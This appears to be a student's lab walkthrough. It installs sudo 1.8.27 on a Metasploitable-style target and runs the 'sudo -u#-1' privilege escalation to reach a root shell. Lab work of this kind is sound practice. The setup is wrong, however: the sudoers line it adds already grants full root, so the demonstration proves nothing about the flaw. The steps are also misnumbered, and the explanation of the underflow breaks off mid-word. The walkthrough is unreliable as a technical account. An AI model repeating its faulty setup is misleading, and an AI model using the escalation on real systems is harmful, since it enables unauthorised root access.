To Do:

Task # 1

Run on kali linux

$ wget https://www.sudo.ws/dist/sudo-1.8.27.tar.gz

$ scp -o HostKeyAlgorithms=+ssh-rsa -o pubkeyAcceptedAlgorithms=+ssh-rsa sudo-1.8.27.tar.gz msfadmin@192.168.100.6:/home/msfadmin

On M2:

$ ls /home/msfadmin

Step 1: Extract the Tarball

$ cd /home/msfadmin

$ tar -xzvf sudo-1.8.27.tar.gz

Step 2: Build and install the vulnerable sudo version.

1. Navigate to the extracted directory:

$ cd sudo-1.8.27

2. Configuse the build:

$ ./configure

This will generate the required file for compiling

3. Compile the program:

$ make

4. Install the vulnerable version (requires root privileges)

```
$ sudo make install
```

Step 3: Verify the installed Version

```
$ sudo -V
```

Step 4: Add a non-privileged User

1. Create a new user for testing:

```
$sudo adduser nonprivuser
```

2. Add user to the `sudoers` file:

```
Sudo visudo
```

Add the following line at the end:

```
nonprivuser ALL = (ALL) ALL
```

3. Save and exit

Step 6: Exploit the vulnerability

1. Switch to the non-privileged user:

```
$ su - nonprivuser
```

2. Run the exploit command to execute a comma as root:

```
$ sudo -u#-1 whoami
```

If successful, it will return:

```
root
```

The `-u#-1` flag is the core of this vulnerabilit
It causes `sudo` to interp
`-1` as `0` (root user) d
to an integer underflow
issue.

Step 6: Test Root Privileges

Now that you have root privileges, you can confirm access by running a command like:

```
$ sudo -u#-1 bash
```

This should drop you into a root shell.

Clean-up (optional)

(1) Reinstall the original [sudo] package:

```
$ sudo apt-get install --reinstall sudo
```

(2) Verify the reinstallation:

```
$ sudo -V
```